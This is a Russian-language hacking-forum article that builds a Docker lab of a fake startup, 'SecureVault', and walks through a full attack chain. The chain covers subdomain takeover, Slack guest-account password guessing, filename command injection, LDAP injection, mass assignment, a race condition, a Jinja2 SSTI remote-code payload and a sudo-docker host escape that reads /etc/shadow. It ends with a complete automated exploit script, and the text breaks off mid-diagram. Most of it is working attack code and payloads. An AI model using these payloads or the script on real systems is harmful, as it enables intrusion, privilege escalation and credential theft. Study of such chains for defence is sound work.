Авторство: hackeryaroslav
Источник: xss.pro
Привет, анон!
Это статья довольно большая, писал я ее почти 2 недели и очень постарался сделать ее максимально доступной. Я буду рад, если вы просто оцените ее, ведь кто знает, когда у меня появится вдохновение написать следующую))
В поисках идей для новой статьи я решил написать своему давнему знакомому — пентестер, мастер своего дела. Занимается этим не первый год. Собственно, я попросил рассказать самый безумный кейс и он с радостью поделился деталями. Честно, я не мог в это поверить с первого раза, настолько смешно и абсурдно…
Началось всё с банального OSINT'а для баг баунти программы, а закончилось... ну, скажем так, полным админским доступом к их "инновационной блокчейн-платформе".
Спойлер для особо торопливых: блокчейн оказался MongoDB с красивыми названиями коллекций и комментарием "Very secure" в коде. Честно я не мог поверить, смеяться тут или плакать как говорят)
После того как он рассказал мне всю цепочку атак, я понял - это идеальный кейс для изучения. Поэтому решил воссоздать максимально похожую лабораторную среду и пошагово разобрать каждую технику. Сейчас мы вместе поднимем эту лабу и пройдёмся по всей цепочке эксплойтов.
Знакомимся с целью
В нашей истории это будет SecureVault — классический стартап нашего времени (не реальный таргет, ссылки в статье не настоящие!). Их лендинг пестрит фразами вроде "AI-powered document intelligence", "blockchain-verified authenticity" и "zero-trust architecture". Привлекли $15M инвестиций. Баг баунти программа обещала до $50,000 за критические уязвимости.На первый взгляд — серьёзная компания с серьезными технологиями. Но как говорится, дьявол кроется в деталях.
Подготовка испытательного стенда
Я подготовил Docker-окружение, максимально приближенное к реальной архитектуре. В нём есть всё необходимое:- Веб-приложение на Flask с JWT авторизацией
- Document Parser для обработки загружаемых файлов
- OpenLDAP для аутентификации пользователей
- MongoDB как основная база данных (включая "блокчейн")
- Redis для кеширования
- MinIO для хранения файлов
- Nginx как reverse proxy
Развёртывание лаборатории
Код с оформлением (BB-коды):
# Скачай зип файл ниже
cd securevault-lab
# Поднимаем всю инфраструктуру
docker-compose up -d
# Проверяем статус сервисов
docker-compose ps
После запуска всех контейнеров стоит подождать минуту. Благодаря healthcheck и depends_on в docker-compose.yml, сервисы запустятся в правильном порядке, и webapp начнет работу только после того, как LDAP и базы данных будут полностью готовы.
Код:
# Проверяем доступность
curl http://localhost/health
curl http://localhost:8081/health
После запуска у вас будут доступны:
- Основное приложение: http://localhost
- Document Parser: http://localhost:8081
- MongoDB: localhost:27017
- OpenLDAP: localhost:389
- MinIO Console: http://localhost:9001
Архитектура системы
┌─────────────┐ ┌─────────────┐ ┌─────────────┐
│ Nginx │───▶│ Web App │───▶│ Doc Parser │
│ Port 80 │ │ Port 8080 │ │ Port 8081 │
└─────────────┘ └─────────────┘ └─────────────┘
│ │
▼ ▼
┌─────────────┐ ┌─────────────┐ ┌─────────────┐
│ OpenLDAP │◀───│ MongoDB │ │ Redis │
│ Port 389 │ │ Port 27017 │ │ Port 6379 │
└─────────────┘ └─────────────┘ └─────────────┘
│ Nginx │───▶│ Web App │───▶│ Doc Parser │
│ Port 80 │ │ Port 8080 │ │ Port 8081 │
└─────────────┘ └─────────────┘ └─────────────┘
│ │
▼ ▼
┌─────────────┐ ┌─────────────┐ ┌─────────────┐
│ OpenLDAP │◀───│ MongoDB │ │ Redis │
│ Port 389 │ │ Port 27017 │ │ Port 6379 │
└─────────────┘ └─────────────┘ └─────────────┘
Каждый сервис содержит свой набор уязвимостей, которые мы будем эксплуатировать по очереди.
Этап 1: Разведка и сбор информации
Любой качественный пентест начинается с тщательной разведки. Информация — наше главное оружие. Чем больше мы знаем о цели, тем выше шансы найти точку входа.Классический DNS enumeration
В реальном сценарии мой знакомый начал с поиска поддоменов:
Код:
# Поиск поддоменов различными методами
subfinder -d securevault.io -silent | sort -u > subdomains.txt
assetfinder --subs-only securevault.io >> subdomains.txt
amass enum -passive -d securevault.io >> subdomains.txt
# Проверяем какие из них отвечают
cat subdomains.txt | sort -u | httpx -silent -follow-redirects
Из интересного он нашёл:
api.securevault.io— основной API endpointdocs.securevault.io— документация (часто содержит утечки)staging-old.securevault.io— заброшенный staging сервер
Subdomain Takeover: низко висящий фрукт
Последний поддомен особенно заинтересовал. При попытке зайти получилась ошибка "This site can't be reached", но DNS записи существовали:dig staging-old.securevault.io# CNAME: staging-old-947822.herokuapp.comCNAME указывал на несуществующий Heroku app! Классический случай для subdomain takeover. В реальности можно было бы:
Код:
heroku create staging-old-947822
echo "<h1>Controlled by Security Researcher</h1>" > index.html
git add . && git commit -m "Proof of concept"
git push heroku main
И вуаля —
staging-old.securevault.io под контролем исследователя. Это уже серьёзная репутационная проблема и потенциальная точка для фишинга.GitHub разведка: золотая жила информации
В документации наdocs.securevault.io мой знакомый нашёл ссылку на их GitHub: github.com/securexyz. Публичных репозиториев было немного, но один привлёк внимание: securevault-deployment-scripts.Внутри лежал docker-compose.yml для dev окружения. И тут началось интересное — разработчики оставили комментарии со служебной информацией:
Код:
# Notifications go to #dev-alerts
# Webhook: https://hooks.slack.com/services/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
# MongoDB backup: s3://backups-dev-securevault/mongodb/
# LDAP admin: cn=admin,dc=securevault,dc=local / TempPassword123!
Boom! Уже есть:
- Slack webhook URL
- Структура LDAP
- Возможные credentials для dev среды
- Информация о backup'ах в S3
Социальная инженерия через Slack
Используя webhook URL, можно определить workspace:securevault-team.slack.com. Далее через LinkedIn собираем email-адреса сотрудников и пробуем стандартные пароли для регистрации гостевых аккаунтов в Slack.Типичные комбинации:
- guest@securevault.io:Welcome123!
- dev-guest@securevault.io:Password123!
- contractor@securevault.io: Temp2024!
Попав в Slack workspace, исследователь получил доступ к каналу #dev-logs, где разработчики активно обсуждали баги и делились логами прямо из production. Через несколько часов мониторинга он наткнулся на золотую жилу.
В нашей лабе этот момент симулируется через реальные логи сервиса document-parser:
Код:
# Смотрим логи парсера, где случайно выводится конфиг
docker-compose logs document-parser | grep -A 5 -B 5 "Config dump"
Вы увидите примерно такую картину:
Разработчик случайно слил production конфиг с credentials! Теперь у нас есть:
- MongoDB credentials: parser:5ecur3V4ult2024
- LDAP bind user: cn=service,ou=services,dc=securevault,dc=local
- Архитектурная информация: понимание внутренней структуры
Этап 2: Провал XXE и неожиданный поворот к RCE
Из анализа логов и внутренней документации было понятно, что система активно работает с XML. На основном API был эндпоинт/api/v1/documents/parse-xml. Мой (далее от лицо исследователя) первый инстинкт — проверить его на классическую уязвимость XML External Entity (XXE).Первая попытка и первый провал
Я начал с базового payload для чтения /etc/passwd, чтобы проверить гипотезу.
Код:
cat > xxe_passwd.xml << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<document>
<title>XXE Test</title>
<content>&xxe;</content>
</document>
EOF
curl -X POST "http://localhost/api/v1/documents/parse-xml" \
-F "file=@xxe_passwd.xml" \
-H "Content-Type: multipart/form-data"
Но вместо содержимого файла я получил ошибку, которая сразу всё объяснила:
Код:
{
"error": "XML parsing error: undefined entity &xxe;: line 7, column 11"
}
Это классический пример того, как разработчики обновляют библиотеки, но забывают о легаси-коде. Основной сервис webapp использовал современную версию питона, где XML-парсер по умолчанию надёжно защищён от XXE.
Этот провал заставил меня копнуть глубже. Я вспомнил про микросервис document-parser, который упоминался во внутренней документации. Что если уязвимый код остался там?
Вторая гипотеза: Command Injection
Изучив исходный код document-parser, я нашёл не XXE, а кое-что повкуснее — Command Injection.
Python:
# document-parser/app.py
def parse_pdf_file(file):
temp_path = f"/tmp/{file.filename}"
cmd = f"pdftotext '{temp_path}' -"
result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
Бинго! Имя файла напрямую вставляется в команду, которая выполняется с
shell=True. Это значит, что мы можем "закрыть" кавычку в имени файла и выполнить свою команду.Вторая попытка и второй провал: Ограничения curl
Чтобы быстро проверить гипотезу, я снова обратился к curl, составив хитрый пейлоад, который должен был обойти проверкуendswith('.pdf') и выполнить команду id.
Код:
# Создаем пустой файл, его содержимое не важно
touch dummy_file.pdf
# Отправляем payload на эндпоинт /parser/parse
curl -X POST "http://localhost/parser/parse" \
-F "file=@dummy_file.pdf;filename=exploit.pdf' ; id ; # dummy.pdf"
Однако я сразу же наткнулся на интересную проблему — curl вернул предупреждения и ту же ошибку, что и сервер:
Код:
Warning: skip unknown form field: id
Warning: skip unknown form field: # dummy.pdf
{
"error": "Unsupported file type"
}
Проблема оказалась не в уязвимости, а в самом curl. Флаг -F использует точку с запятой (
;) для разделения атрибутов формы, таких как filename=. Мой пейлоад с несколькими точками с запятой просто сломал его парсер, и на сервер ушло некорректное имя файла.Это классический пример, когда для сложной атаки возможностей командной строки уже не хватает.
Третья попытка и полный успех: Python спешит на помощь
Именно поэтому для полноценной эксплуатации я переключился на пайтон и наш заранее подготовленный скрипт exploit.py (по ходу статьи мы соберем его полностью!). Библиотека request позволяет полностью контролировать HTTP-запрос и гарантирует, что мой пейлоад дойдет до сервера в неизменном виде.Вот фрагмент кода из нашего эксплойта, который делает всю магию:
Python:
# attacks/exploit.py -> step2_command_injection()
def step2_command_injection(self):
# Пейлоад, который закрывает кавычку и выполняет команду
malicious_filename = "exploit.pdf' ; id ; # dummy.pdf"
files = {'file': (malicious_filename, b'dummy content', 'application/pdf')}
response = self.session.post(
f"{self.base_url}/parser/parse",
files=files
)
# ...
Запустив полный эксплойт-скрипт, я наконец получил то, чего добивался:
[!] Command Injection успешна! Получен результат команды 'id':
uid=0(root) gid=0(root) groups=0(root)
Джекпот! Вместо чтения одного файла мы получили полноценное удаленное выполнение кода (RCE) с правами root внутри контейнера document-parser. Это гораздо круче, чем просто XXE.
Теперь у нас есть плацдарм внутри их инфраструктуры. Хоть это и не основной сервис, RCE в любом компоненте — это уже критическая уязвимость. Это открытие дало мне уверенность, что если здесь есть такие дыры, то и в основном приложении найдётся что-то интересное.
Этап 3: LDAP Injection — извлекаем пользователей
Имея LDAP credentials из конфига (LDAP_S3rv1c3_2024!), можно попробовать подключиться к LDAP серверу. Но сначала исследуем API эндпоинты для работы с LDAP.Анализ LDAP функциональности
В API документации (или через directory traversal/источники) находим endpoint/api/v1/auth/ldap-search для поиска пользователей. Это типичная функция для корпоративных приложений — позволяет искать сотрудников по различным атрибутам.
Код:
# Базовый запрос для поиска пользователей
curl -X POST "http://localhost/api/v1/auth/ldap-search" \
-H "Content-Type: application/json" \
-d '{
"filter": "(objectClass=person)"
}' | jq .
Ответ показывает структуру пользователей:
Код:
{
"results": [
{
"cn": "john.doe",
"mail": "john.doe@securevault.local",
"userPassword": ""
},
{
"cn": "dev.user",
"mail": "dev.user@securevault.local",
"userPassword": ""
}
]
}
Пароли скрыты, но сам факт возврата результатов говорит о том, что LDAP запрос выполнился. Параметр filter выглядит подозрительно — возможна LDAP injection.
Теория LDAP Injection
LDAP Injection похожа на SQL Injection, но применяется к LDAP запросам. Уязвимость возникает, когда пользовательский ввод напрямую подставляется в LDAP фильтр без proper escaping.LDAP фильтры имеют следующий синтаксис:
- (attribute=value) — точное совпадение
- (attribute=value*) — starts with
- (|(filter1)(filter2)) — OR оператор
- (&(filter1)(filter2)) — AND оператор
Практическая эксплуатация LDAP Injection
Сначала попробуем получить всех пользователей с паролями:
Код:
curl -X POST "http://localhost/api/v1/auth/ldap-search" \
-H "Content-Type: application/json" \
-d '{
"filter": "(&(objectClass=person)(cn=*)(userPassword=*))"
}' | jq .
Если это сработает, мы увидим всех пользователей. В нашей лабе пароли хранятся в открытом виде для демонстрации (в реальности они хешированы):
Код:
{
"results": [
{
"cn": "testadmin",
"mail": "admin@securevault.local",
"userPassword": "Adm1n_SecureVault_2024!"
},
{
"cn": "john.doe",
"mail": "john.doe@securevault.local",
"userPassword": "User123!"
},
{
"cn": "service",
"mail": "service@securevault.local",
"userPassword": "LDAP_S3rv1c3_2024!"
}
]
}
Отлично! Получили всех пользователей с паролями. Особенно интересен testadmin с паролем Adm1n_SecureVault_2024!.
Blind LDAP Injection
В реальном сценарии пароли обычно захешированы или не возвращаются в ответе. Тогда можно использовать blind LDAP injection для извлечения данных символ за символом.Принцип такой: если запрос возвращает результаты, значит условие истинно. Если не возвращает — ложно.
В нашей лабе можно протестировать этот принцип:
Код:
# Проверяем, начинается ли пароль админа с "A"
curl -X POST "http://localhost/api/v1/auth/ldap-search" \
-H "Content-Type: application/json" \
-d '{
"filter": "(&(objectClass=person)(cn=testadmin)(userPassword=A*))"
}' | jq '.results | length'
# Если возвращает больше 0 результатов, то да
# Продолжаем: Ad*, Adm*, Adm1* и т.д.
curl -X POST "http://localhost/api/v1/auth/ldap-search" \
-H "Content-Type: application/json" \
-d '{
"filter": "(&(objectClass=person)(cn=testadmin)(userPassword=Adm1n_SecureVault_2024!*))"
}' | jq .
Таким образом можно извлечь полный пароль.
Дополнительные LDAP векторы
LDAP injection можно использовать не только для извлечения паролей:
Код:
# Получение информации о структуре домена
curl -X POST "http://localhost/api/v1/auth/ldap-search" \
-H "Content-Type: application/json" \
-d '{
"filter": "(objectClass=organizationalUnit)"
}'
# Поиск групп и ролей
curl -X POST "http://localhost/api/v1/auth/ldap-search" \
-H "Content-Type: application/json" \
-d '{
"filter": "(objectClass=groupOfNames)"
}'
# Поиск служебных аккаунтов
curl -X POST "http://localhost/api/v1/auth/ldap-search" \
-H "Content-Type: application/json" \
-d '{
"filter": "(&(objectClass=person)(|(cn=service*)(cn=admin*)(cn=root*)))"
}'
В результате LDAP injection мы получили admin credentials: testadmin:Adm1n_SecureVault_2024
Этап 4: Mass Assignment — повышаем привилегии
Имея админские credentials, можно аутентифицироваться в системе и начать исследование API endpoints с повышенными правами.Получение JWT токена
Код:
JWT_TOKEN=$(curl -s -X POST "http://localhost/api/v1/auth/login" \
-H "Content-Type: application/json" \
-d '{
"username": "admin",
"password": "Adm1n_SecureVault_2024!"
}' | jq -r '.access_token')
echo "JWT Token: $JWT_TOKEN"
Получаем JWT токен для дальнейшей работы. Токен содержит claims с информацией о пользователе и его правах.
Теория Mass Assignment атак
Mass Assignment (также известен как Parameter Pollution или Overposting) — это уязвимость, при которой приложение автоматически привязывает пользовательские параметры к внутренним объектам или моделям данных без proper фильтрации.Проблема возникает, когда:
- Приложение принимает JSON/form данные
- Автоматически маппит их на объект/модель
- Не фильтрует, какие поля можно изменять
- name (можно менять)
- email (можно менять)
- role (нельзя менять)
- is_admin (нельзя менять)
Практическая эксплуатация Mass Assignment
Попробуем отправить не только разрешённые поля, но и потенциально чувствительные:
Код:
curl -X PUT "http://localhost/api/v1/users/profile" \
-H "Authorization: Bearer $JWT_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"name": "Pwned Admin",
"email": "hacker@evil.com",
"role": "super_admin",
"permissions": ["read", "write", "admin", "super_admin", "system"],
"is_system": true,
"blockchain_access": true,
"debug_access": true,
"salary": 999999,
"department": "Security"
}' | jq .
Если Mass Assignment уязвимость существует, сервер примет все поля и обновит их в базе данных:
Йесс! Сервер принял все поля, включая критичные role и permissions. Теперь наш аккаунт имеет максимальные права в системе.
Проверка эскалации привилегий
Проверим, действительно ли права изменились:
Код:
curl -X GET "http://localhost/api/v1/debug/config" \
-H "Authorization: Bearer $JWT_TOKEN" | jq .
Если Mass Assignment сработал, мы увидим debug информацию:
Отлично! Получили доступ к debug endpoint'у, который обычно доступен только системным администраторам.
Углублённый анализ Mass Assignment
В реальных приложениях Mass Assignment может позволить:Эскалацию привилегий:
- role: admin
- is_admin: true
- permissions: ["*"]
- verified: true
- activated: true
- banned: false
- balance: 999999
- credit_limit: 100000
- discount: 100
- api_key: "new_key"
- secret_token: "controlled_value"
- access_level: "full"
Этап 5: Race Condition в "блокчейн" валидации
Изучая документацию и код, я понял, как работает их "инновационная блокчейн система". При загрузке документа происходит следующая последовательность:- Вычисление hash документа (SHA-256)
- Проверка на дубликаты в "блокчейн" коллекции
- Задержка для "криптографических вычислений" (200ms)
- Создание записи в MongoDB коллекции blockchain_blocks
- Возврат токена доступа
Теория Race Condition атак
Race Condition возникает, когда результат выполнения программы зависит от относительного времени выполнения нескольких потоков или процессов. В веб-приложениях это часто проявляется в:Time-of-Check vs Time-of-Use (TOCTOU):
- Проверка условия в момент времени T1
- Использование результата в момент времени T2
- Между T1 и T2 состояние может измениться
- Несколько запросов модифицируют один ресурс
- Отсутствие proper locking механизмов
- Непредсказуемый финальный результат
- Операция должна быть атомарной, но разбита на части
- Между частями может "вклиниться" другой запрос
Анализ уязвимой логики
Посмотрим на код обработчика загрузки документов (воссозданный на основе поведения):
Python:
@app.route('/api/v1/documents/upload', methods=['POST'])
@jwt_required()
def upload_document():
if 'document' not in request.files:
return jsonify({'error': 'No document provided'}), 400
file = request.files['document']
content = file.read()
doc_hash = hashlib.sha256(content).hexdigest()
existing_block = db.blockchain_blocks.find_one({'document_hash': doc_hash})
time.sleep(0.2)
if existing_block:
return jsonify({
'message': 'Document already exists',
'blockchain_token': existing_block.get('token'),
'document_hash': doc_hash
})
else:
blockchain_token = str(uuid.uuid4())
block_data = {
'token': blockchain_token,
'document_hash': doc_hash,
'timestamp': time.time(),
'user': get_jwt_identity(),
'filename': file.filename
}
db.blockchain_blocks.insert_one(block_data)
return jsonify({
'message': 'Document uploaded successfully',
'blockchain_token': blockchain_token,
'document_hash': doc_hash
})
Проблема очевидна: между проверкой дубликата и созданием записи есть 500ms пауза. Если отправить множественные одинаковые запросы одновременно, они все пройдут проверку на шаге 2 (документа ещё нет), а потом каждый создаст свою запись на шаге 4.
Практическая эксплуатация Race Condition
Вместо отдельного скрипта, я интегрировал эту атаку прямо в наш основной эксплойтattacks/exploit.py как Шаг 5. Это позволило использовать уже полученный JWT-токен и продолжить цепочку.
Python:
def step5_race_condition(self):
print("[+] Шаг 5: Race Condition атака")
headers = {"Authorization": f"Bearer {self.jwt_token}"}
tokens = []
def upload_doc():
files = {'document': ('test.pdf', b'dummy data', 'application/pdf')}
response = self.session.post(
f"{self.base_url}/api/v1/documents/upload",
files=files,
headers=headers
)
if response.status_code == 200:
token = response.json().get('blockchain_token')
tokens.append(token)
threads = []
for i in range(20):
t = threading.Thread(target=upload_doc)
threads.append(t)
t.start()
for t in threads:
t.join()
unique_tokens = set(tokens)
print(f"[!] Получено {len(tokens)} токенов, уникальных: {len(unique_tokens)}")
if len(tokens) > len(unique_tokens):
print("[!] Race Condition успешна! Созданы дублирующиеся токены")
return True
return False
При запуске эксплойта мы получаем результат, доказывающий успешную эксплуатацию:
В данном случае был создан 1 уникальный блок, а остальные 19 запросов вернули токен этого уже существующего блока. Хотя эксплойт мог создать и несколько уникальных блоков. Главное, что
len(tokens) (20) больше len(unique_tokens) (1).Последствия Race Condition
Успешная race condition в данном случае позволяет:- Создать множественные токены для одного документа
- Нарушить уникальность "блокчейн" записей
- Потенциальные финансовые потери если токены имеют стоимость
- Нарушение аудита — один документ, много записей
- DoS потенциал — можно заспамить базу дубликатами
- Double spending в финансовых системах
- Inventory issues в e-commerce
- Дублировать аккаунты/ресурсы
- Auth bypass через timing attacks
Последствия и проверка "блокчейна"
Посмотрим, что произошло в MongoDB:docker-compose exec mongodb mongo -u admin -p admin123 --authenticationDatabase admin documents --eval 'db.blockchain_blocks.aggregate([{$group: {_id: "$document_hash", count: {$sum: 1}}}, {$match: {count: {$gt: 1}}}])'
Результат покажет документы с множественными записями:
{ "_id" : "690e99e2575564df6cfde59e050578591e68780955d2332c6cb56ab70f8b77f1", "count" : 20 }
{ "_id" : "797bb0abff798d7200af7685dca7901edffc52bf26500d5bd97282658ee24152", "count" : 20 }
Это доказывает, что для одного и того же документа был создан как минимум один "уникальный" блок в их "блокчейне"! В то время как остальные 19 запросов вернули токен этого блока, нарушив логику приложения. Целостность данных была полностью скомпрометирована. Едем дальше, это еще не все!)
Этап 6: Финальный RCE через SSTI
Имея доступ с повышенными привилегиями после атаки Mass Assignment, можно исследовать более продвинутые функции API. Особенный интерес представляет эндпоинт/api/v1/reports/generate для генерации отчётов.Анализ функциональности отчётов
Простой запрос показал, что эндпоинт принимаетcustom_template и обрабатывает его:
Код:
curl -X POST "http://localhost/api/v1/reports/generate" \
-H "Authorization: Bearer $JWT_TOKEN" \
-H "Content-Type: application/json" \
-d '{"report_type": "custom", "custom_template": "{{ 7*7 }}"}' | jq .
Ответ
{"content": "49"} — это явный признак Server-Side Template Injection (SSTI) в шаблонизаторе Jinja2.Теория Server-Side Template Injection
SSTI возникает, когда пользовательский ввод передаётся напрямую в template engine без proper санитизации. Template engines предназначены для генерации динамического контента, но могут выполнять код если используются неправильно.Популярные template engines:
- Jinja2 (Python/Flask) — {{ ... }}
- Twig (PHP) — {{ ... }}
- Smarty (PHP) — {$...}
- ERB (Ruby) — <%= ... %>
- Thymeleaf (Java) — ${...}
template = Template(user_input) # ПЛОХО
result = template.render(context)
Правильная конструкция:
template = Template(safe_template) # ХОРОШО
result = template.render(user_data=user_input)
Эскалация к Remote Code Execution
Jinja2 SSTI может привести к RCE через доступ к встроенным функциям питона. После нескольких неудачных попыток с поиском классов по индексам (которые оказались нестабильными), я использовал самый надёжный и универсальный пейлоад. Он не ищет существующие классы, а сам импортирует нужный модульsubprocess.
Python:
def step6_ssti_rce(self):
print("[+] Шаг 6: SSTI атака для RCE")
# Универсальный пейлоад, который сам импортирует subprocess
ssti_payload = "{{ self.__init__.__globals__['__builtins__']['__import__']('subprocess').Popen('id', shell=True, stdout=-1).communicate()[0].decode() }}"
# ...
response = self.session.post(...) # Отправляем пейлоад
# ...
Запуск эксплойта с этим пейлоадом дал нам RCE уже в основном контейнере webapp:
Отлично! Теперь у нас есть полный контроль над основным приложением, и мы работаем от имени пользователя, который находится в группе sudo. Но мы можем сделать еще кое что!
Этап 7: Privilege Escalation через Docker
Получив RCE в основном контейнере webapp, я первым делом проверил права. Команда id вернула:uid=1000(appuser) ... groups=... 27(sudo).Пользователь appuser в группе sudo! Это был последний ключ. Я проверил его права через
sudo -l и обнаружил, что ему разрешено выполнять Docker-команды без пароля. Это классический и очень опасный мисконфиг, открывающий прямой путь к root на хост-машине.Теория Docker Privilege Escalation
Docker-демон по своей природе запускается от имени root и имеет полный доступ к хост-системе. Когда пользователю разрешено выполнять docker команды, он, по сути, может:- Монтировать файловую систему хоста в контейнер.
- Запускать команды в контексте root внутри нового контейнера.
- Через chroot получать полный доступ к файловой системе хоста.
Классический вектор эскалации, который мы и будем использовать:
docker run -v /:/host -it alpine chroot /host bash
Практическая эскалация через SSTI
Мы используем нашу SSTI-уязвимость из предыдущего этапа, чтобы выполнить команду sudo docker, которая запустит новый контейнер, подмонтирует в него корневую файловую систему хоста (/) и прочитает файл /etc/shadow.Вот как выглядит финальный пейлоад в Шаге 6 нашего эксплойта:
Python:
# attacks/exploit.py -> step6_ssti_rce()
# Финальный пейлоад для чтения /etc/shadow с хоста
command = "sudo /usr/bin/docker run --rm -v /:/host_fs alpine cat /host_fs/etc/shadow"
ssti_payload = f"{{{{ self.__init__.__globals__['__builtins__']['__import__']('subprocess').Popen('{command}', shell=True, stdout=-1, stderr=-2).communicate()[0].decode() }}}}"
response = self.session.post(...) # Отправляем пейлоад
Запуск эксплойта приводит к триумфальному завершению:
Полный компромисс достигнут! Мы вырвались из контейнера и получили root-эквивалентный доступ к хост-системе.
Дополнительная постэксплуатация
С такими правами можно получить абсолютно всё. Например, можно напрямую подключиться к контейнеру MongoDB и изучить их "инновационный блокчейн".
Код:
# Команда для извлечения 5 последних "блоков" из MongoDB
# Выполняется с хоста, но мы можем ее запустить через наш SSTI RCE
docker-compose exec mongodb mongo -u admin -p admin123 --authenticationDatabase admin documents --eval 'db.blockchain_blocks.find().limit(5).pretty()'
Результат был очень показательным:
Это обычная коллекция MongoDB! Никаких связанных блоков, никакой криптографии (кроме SHA-256), никаких смарт-контрактов.
Анализ "блокчейн" архитектуры
Чтобы окончательно убедиться, я изучил код, который отвечает за создание этих "блоков". Вместо сложного отдельного валидатора, вся логика оказалась прямо в обработчике загрузки файлов:
Python:
# webapp/app.py -> функция upload_document()
def upload_document():
# ... (код для получения файла) ...
content = file.read()
doc_hash = hashlib.sha256(content).hexdigest()
# "Создание блока"
blockchain_token = str(uuid.uuid4()) # Токен - это просто случайный UUID
block_data = {
'token': blockchain_token,
'document_hash': doc_hash,
'timestamp': time.time(),
'user': get_jwt_identity(),
'filename': file.filename
}
# "Запись в распределенный реестр"
db.blockchain_blocks.insert_one(block_data)
return jsonify({ ... })
Это было оно. Вся их "революционная блокчейн-технология, защищенная AI" — это одна функция на 15 строк, которая генерирует SHA-256 хэш и случайный UUID, а затем записывает их в MongoDB. Никакой связи блоков, никакого консенсуса, ничего. Можно подумать, что такое невозможно, но такое случается нередко, особенно в крипте (Один из примеров это Zerebro - x.com /daku09990/status/1971973498714153150)Этап 9: Автоматизация полной цепочки атак
После ручной отработки некоторых техник создадим полностью автоматизированный эксплойт, который проведёт всю цепочку атак от начала до получения root доступа. (как вы уже могли догадаться - exploit.py):
Python:
import requests
import threading
import time
class SecureVaultExploit:
def __init__(self, base_url="http://localhost"):
self.base_url = base_url
self.session = requests.Session()
self.jwt_token = None
def step1_ldap_injection(self):
"""Демонстрация LDAP Injection для извлечения паролей"""
print("[+] Шаг 1: LDAP Injection атака")
payload = "(&(objectClass=person)(cn=testadmin)(userPassword=*))"
response = self.session.post(
f"{self.base_url}/api/v1/auth/ldap-search", json={"filter": payload}
)
if response.status_code == 200:
results = response.json().get("results", [])
for user in results:
if user.get("cn") == "testadmin":
print(f"[!] Найден админский аккаунт: {user}")
return True
return False
def step2_command_injection(self):
"""Command Injection в document-parser для RCE"""
print("[+] Шаг 2: Command Injection атака на document-parser")
malicious_filename = "exploit.pdf' ; id ; # dummy.pdf"
files = {"file": (malicious_filename, b"dummy content", "application/pdf")}
response = self.session.post(f"{self.base_url}/parser/parse", files=files)
if response.status_code == 200:
result = response.json()
if "uid=" in result.get("content", ""):
print("[!] Command Injection успешна! Получен результат команды 'id':")
print(result["content"])
return True
print(f"[-] Ответ сервера на Шаге 2: {response.status_code} {response.text}")
return False
def step3_get_jwt_token(self):
"""Получение JWT токена"""
print("[+] Шаг 3: Получение JWT токена")
response = self.session.post(
f"{self.base_url}/api/v1/auth/login",
json={"username": "admin", "password": "Adm1n_SecureVault_2024!"},
)
if response.status_code == 200:
self.jwt_token = response.json()["access_token"]
print(f"[!] JWT токен получен: {self.jwt_token[:50]}...")
return True
return False
def step4_mass_assignment(self):
"""Mass Assignment для повышения привилегий"""
print("[+] Шаг 4: Mass Assignment атака")
if not self.jwt_token:
return False
headers = {"Authorization": f"Bearer {self.jwt_token}"}
payload = {
"username": "admin",
"name": "Hacker Admin",
"email": "hacker@evil.com",
"role": "super_admin",
"permissions": ["read", "write", "admin", "super_admin", "system"],
"is_system": True,
"blockchain_access": True,
}
response = self.session.put(
f"{self.base_url}/api/v1/users/profile", json=payload, headers=headers
)
if response.status_code == 200:
print("[!] Mass Assignment успешна! Права повышены")
print(f"Обновлённые поля: {response.json()['updated_fields']}")
return True
print(f"[-] Ответ сервера на Шаге 4: {response.status_code} {response.text}")
return False
def step5_race_condition(self):
print("[+] Шаг 5: Race Condition атака")
headers = {"Authorization": f"Bearer {self.jwt_token}"}
tokens = []
def upload_doc():
files = {'document': ('test.pdf', b'dummy data', 'application/pdf')}
response = self.session.post(
f"{self.base_url}/api/v1/documents/upload",
files=files,
headers=headers
)
if response.status_code == 200:
token = response.json().get('blockchain_token')
tokens.append(token)
threads = []
for i in range(20):
t = threading.Thread(target=upload_doc)
threads.append(t)
t.start()
for t in threads:
t.join()
unique_tokens = set(tokens)
print(f"[!] Получено {len(tokens)} токенов, уникальных: {len(unique_tokens)}")
if len(tokens) > len(unique_tokens):
print("[!] Race Condition успешна! Созданы дублирующиеся токены")
return True
return False
def step6_ssti_rce(self):
"""Server-Side Template Injection для Privilege Escalation через Sudo/Docker"""
print("[+] Шаг 6: SSTI + Sudo -> Privilege Escalation до root")
if not self.jwt_token:
return False
headers = {"Authorization": f"Bearer {self.jwt_token}"}
command = (
"sudo /usr/bin/docker run --rm -v /:/host_fs alpine cat /host_fs/etc/shadow"
)
ssti_payload = f"{{{{ self.__init__.__globals__['__builtins__']['__import__']('subprocess').Popen('{command}', shell=True, stdout=-1, stderr=-2).communicate()[0].decode() }}}}"
response = self.session.post(
f"{self.base_url}/api/v1/reports/generate",
json={"report_type": "custom", "custom_template": ssti_payload},
headers=headers,
)
if response.status_code == 200:
result = response.json()
if "root:" in result.get("content", ""):
print(
"[!] ПОЛНАЯ ПОБЕДА! Привилегии повышены до root! Получено содержимое /etc/shadow:"
)
print(result["content"])
return True
print(f"[-] Ответ сервера на Шаге 6: {response.status_code} {response.text}")
return False
def run_full_exploit(self):
"""Запуск полной цепочки эксплойтов"""
print("=" * 60)
print("SecureVault Enterprise - Automated Exploit Chain")
print("=" * 60)
steps = [
self.step1_ldap_injection,
self.step2_command_injection,
self.step3_get_jwt_token,
self.step4_mass_assignment,
self.step5_race_condition,
self.step6_ssti_rce,
]
for i, step in enumerate(steps, 1):
try:
if step():
print(f"[✓] Шаг {i} выполнен успешно\n")
else:
print(f"[✗] Шаг {i} неудачен\n")
break
time.sleep(1)
except Exception as e:
print(f"[✗] Ошибка на шаге {i}: {e}\n")
break
print("=" * 60)
print("Эксплойт завершён!")
if __name__ == "__main__":
exploit = SecureVaultExploit("http://localhost")
exploit.run_full_exploit()
Ее полный результат:
Анатомия успешной цепочки атак
Теперь, когда мы прошли весь путь от начальной разведки до полного контроля над системой, важно проанализировать ключевые факторы успеха.Архитектура уязвимостей
┌──────────────────────────────────────┐
│ OSINT & Information Disclosure │ (GitHub, Slack Logs)
└────────────────────┬─────────────────┘
│
▼
┌──────────────────────────────────────┐
│ Command Injection in Document Parser│ (Initial Foothold as root in a container)
└────────────────────┬─────────────────┘
│
▼
┌──────────────────────────────────────┐
│ LDAP Injection in Main Web App │ (Extract Admin Credentials)
└────────────────────┬─────────────────┘
│
▼
